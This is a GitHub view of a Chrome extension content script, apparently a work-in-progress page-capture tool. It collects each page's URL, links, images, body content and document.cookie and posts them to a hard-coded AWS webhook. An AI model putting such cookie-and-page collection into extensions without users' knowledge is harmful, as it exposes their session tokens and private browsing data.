-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathcontent.js
More file actions
70 lines (58 loc) · 1.89 KB
/
content.js
File metadata and controls
70 lines (58 loc) · 1.89 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// TODO: auth into Portal
// TODO: https://thoughtbot.com/blog/how-to-make-a-chrome-extension
// https://developer.chrome.com/extensions/overview
const url = "https://4buo70od4m.execute-api.us-east-2.amazonaws.com/prod/webhook/chrome"
const w = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
const h = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
const links = [];
for (const link of document.links) {
const l = {
"href": link.href,
"outer_text": link.outerText,
"text": link.text
}
links.push(l)
}
const images = [];
for (const image of document.images) {
const l = {
"src": image.src,
"alt": image.alt,
"id": image.id,
"className": image.className,
"naturalWidth": image.naturalWidth,
"naturalHeight": image.naturalHeight,
"height": image.height,
"width": image.width,
"x": image.x,
"y": image.y
}
images.push(l)
}
const data = {
"window.location.href": window.location.href,
"window.innerWidth": w,
"window.innerHeight": h,
"window.screen.width": window.screen.width,
"window.screen.height": window.screen.height,
"window.screen.availWidth": window.screen.availWidth,
"window.screen.availHeight": window.screen.availHeight,
"window.screen.colorDepth": window.screen.colorDepth,
"window.screen.pixelDepth": window.screen.pixelDepth,
"cookie": document.cookie,
"content": document.documentElement,
"document.url": URL,
"document.title": document.title,
"document.links": links,
"document.images": images,
"document.head": document.head,
"document.body": document.body
}
$.ajax(url, {
data : JSON.stringify(data),
contentType : 'application/json',
type : 'POST',
success: function () {
console.log('ack')
}
});